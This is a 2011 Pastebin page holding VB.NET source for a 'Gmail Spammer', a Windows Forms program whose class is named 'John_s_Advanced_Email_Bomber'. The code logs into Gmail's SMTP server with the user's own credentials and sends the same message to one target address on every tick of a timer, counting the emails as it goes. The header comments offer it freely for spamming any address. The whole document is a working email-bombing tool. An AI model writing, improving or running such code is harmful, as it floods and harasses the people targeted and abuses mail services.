Advertisement
john_oneill

Gmail Spammer

Sep 9th, 2011
763
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 2.17 KB | None | 0 0
  1. '#################################################'
  2. '# Coded By John O'Neill From FiveStarGamerz.Com #'
  3. '#                                               #'
  4. '# Feel Free To Use These Codes                  #'
  5. '# These Codes Are For A Gmail Spammer           #'
  6. '#                                               #'
  7. '# Please Note: You Use A Gmail Account To Send  #'
  8. '# These But The Email You Are Spamming Can Be   #'
  9. '# Any Email Provider!!                          #'
  10. '#################################################'
  11.  
  12.  
  13. Imports System.Net.Mail
  14. Imports System.Net.Mail.MailAddressCollection
  15. Imports System.IO
  16. Public Class John_s_Advanced_Email_Bomber
  17.  
  18.     Private Sub StartButton_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles StartButton.Click
  19.         Timer1.Start() 'Starts The Timer
  20.     End Sub
  21.  
  22.     Private Sub StopButton_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles StopButton.Click
  23.         Timer1.Stop() 'Stops The Timer
  24.     End Sub
  25.  
  26.     Private Sub ExitButton_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ExitButton.Click
  27.         End 'Closes The Progam
  28.     End Sub
  29.  
  30.     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  31.         'This Sets Up The Server Connection, And What Is Sent Via The Layout
  32.         Dim MyMailMessage As New MailMessage()
  33.         MyMailMessage.From = New MailAddress(GmailUsernameTextBox.Text)
  34.         MyMailMessage.To.Add(ToTextBox.Text)
  35.         MyMailMessage.Subject = (SubjectTextBox.Text)
  36.         MyMailMessage.Body = (EmailMessageTextBox.Text)
  37.         Dim SMTPServer As New SmtpClient("smtp.gmail.com") 'This Indicates The Smtp Server Address
  38.         SMTPServer.Port = 587 'Smtp Server Port (For Outgoing Connections)
  39.         SMTPServer.Credentials = New System.Net.NetworkCredential(GmailUsernameTextBox.Text, GmailPasswordTextBox.Text) 'This Uses The Text Within GmailUsernameTextBox & GmailPasswordTextBox To Log In
  40.         SMTPServer.EnableSsl = True
  41.         EmailCountDisplayLabel.Text = Val(EmailCountDisplayLabel.Text + 1)
  42.         SMTPServer.Send(MyMailMessage)
  43.     End Sub
  44. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement